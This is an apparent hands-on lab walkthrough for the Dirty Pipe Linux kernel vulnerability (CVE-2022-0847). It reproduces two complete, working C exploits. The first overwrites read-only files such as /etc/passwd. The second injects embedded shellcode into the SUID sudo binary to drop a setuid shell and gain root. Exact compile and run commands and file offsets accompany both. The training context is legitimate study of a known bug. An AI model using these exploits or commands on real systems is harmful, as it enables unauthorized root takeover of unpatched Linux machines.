Overview
Dirty Pipe (CVE-2022-0847) is a Linux kernel vulnerability that allows a low-privilege user to - Modify read-only files - Obtain an elevated shell
Impacted Versions:
Linux Kernel versions are affected from 5.8 to 5.16.10, 5.15.24, and 5.10.101.
References: - https://dirtypipe.cm4all.com/ - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847
The user is provided a shell on a vulnerable Linux server.
Objective: Exploit the Dirty Pipe vulnerability to edit read-only files and get a shell as root user!
Solution
Step 1: Open the lab link to access the shell as the student user.
Step 2: Check the version of the kernel.
uname -a
The kernel version is 5.16.9. It is affected with Dirty Pipe.
Task I: Modify Read-Only Files
Step 3: Check the contents of /etc/passwd.
cat /etc/passwd
Also, check the permission of this file.
ls -l /etc/passwd
As student user, we can read the contents of /etc/passwd but can't write/modify its content.
Any attempts of writing/appending/editing on this file will fail.
echo "test" >> /etc/passwd
Step 4: Copy the exploit code taken from https://dirtypipe.cm4all.com/ and save it in exploit.c file on the affected machine.
The code is pasted below for convenience.
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <max.kellermann@ionos.com>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main(int argc, char **argv)
{
if (argc != 4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
return EXIT_FAILURE;
}
/* dumb command-line argument parser */
const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}
if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
printf("It worked!\n");
return EXIT_SUCCESS;
}We can use vim editor to open a file for writing.
vim exploit.cPress i to enter Insert Mode.
Paste the copied code.
Exit the Insert Mode by pressing ESC.
Save the file and exit vim by pressing :wq followed by enter.
The code is not saved in the newly created exploit.c
Step 5: Compile this file with gcc compiler.
gcc exploit.c -o exploitThis step will create an executable named exploit in the same directory.
ls -l
This exploit binary can be used to edit read-only files.
Step 6: Use exploit binary to overwrite the userid or uid (i.e. 1) of the daemon user with 0.
./exploit /etc/passwd 92 0Here, - /etc/passwd : File to edit/modify - 92 : Location to overwrite from in the file - 0 : New content to overwrite the current content
Check the contents of the /etc/passwd file again.
cat /etc/passwd
We can observe that the uid for user daemon is changed to 0.
We have edited the content of a read-only file.
Task II: Get a shell as root
Step 7: Check the current userid, groupid and current user.
id
Our current user is student user.
Step 8: We require a binary with setuid bit for this task. Search for such binaries.
find / -perm -4000 2>/dev/null
We are going to use /usr/bin/sudo for this.
Step 9: Copy the exploit code taken from https://raw.githubusercontent.com/febinrev/dirtypipez-exploit/main/dirtypipez.c and save it in exploit2.c file on the affected machine.
The code is pasted below for convenience.
//
// dirtypipez.c
//
// hacked up Dirty Pipe (CVE-2022-0847) PoC that hijacks a SUID binary to spawn
// a root shell. (and attempts to restore the damaged binary as well)
//
// Wow, Dirty CoW reloaded!
//
// -- blasty <peter@haxx.in> // 2022-03-07
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <max.kellermann@ionos.com>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <stdint.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
// small (linux x86_64) ELF file matroshka doll that does;
// fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);
// write(fd, elfcode, elfcode_len)
// chmod("/tmp/sh", 04755)
// close(fd);
// exit(0);
//
// the dropped ELF simply does:
// setuid(0);
// setgid(0);
// execve("/bin/sh", ["/bin/sh", NULL], [NULL]);
unsigned char elfcode[] = {
/*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
};
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int hax(char *filename, long offset, uint8_t *data, size_t len) {
/* open the input file and validate the specified offset */
const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return -1;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return -1;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return -1;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return -1;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, len);
if (nbytes < 0) {
perror("write failed");
return -1;
}
if ((size_t)nbytes < len) {
fprintf(stderr, "short write\n");
return -1;
}
close(fd);
return 0;
}
int main(int argc, char **argv) {
if (argc != 2) {
fprintf(stderr, "Usage: %s SUID\n", argv[0]);
return EXIT_FAILURE;
}
char *path = argv[1];
uint8_t *data = elfcode;
int fd = open(path, O_RDONLY);
uint8_t *orig_bytes = malloc(sizeof(elfcode));
lseek(fd, 1, SEEK_SET);
read(fd, orig_bytes, sizeof(elfcode));
close(fd);
printf("[+] hijacking suid binary..\n");
if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {
printf("[~] failed\n");
return EXIT_FAILURE;
}
printf("[+] dropping suid shell..\n");
system(path);
printf("[+] restoring suid binary..\n");
if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {
printf("[~] failed\n");
return EXIT_FAILURE;
}
printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\n");
system("/tmp/sh");
return EXIT_SUCCESS;
}Save the code in exploit2.c file using vim (As discussed in step 4)
Step 10: Compile this file with gcc compiler.
gcc exploit2.c -o exploit2This step will create an executable named exploit2 in the same directory.
ls -l
Step 11: Run exploit2 binary and pass it the path to sudo binary.
This exploit will leverage /usr/bin/sudo file to create /tmp/sh file with setuid bit set on it. Then, executing the /tmp/sh binary will provide an elevated shell.
./exploit2 /usr/bin/sudoOnce we have a Bourne Shell (sh), check the current userid, grouip and user to verify the elevation.
id
We have gained a shell with user root.
In this manner, an attacker can exploit Dirty Pipe vulnerability to perform privilege escalation.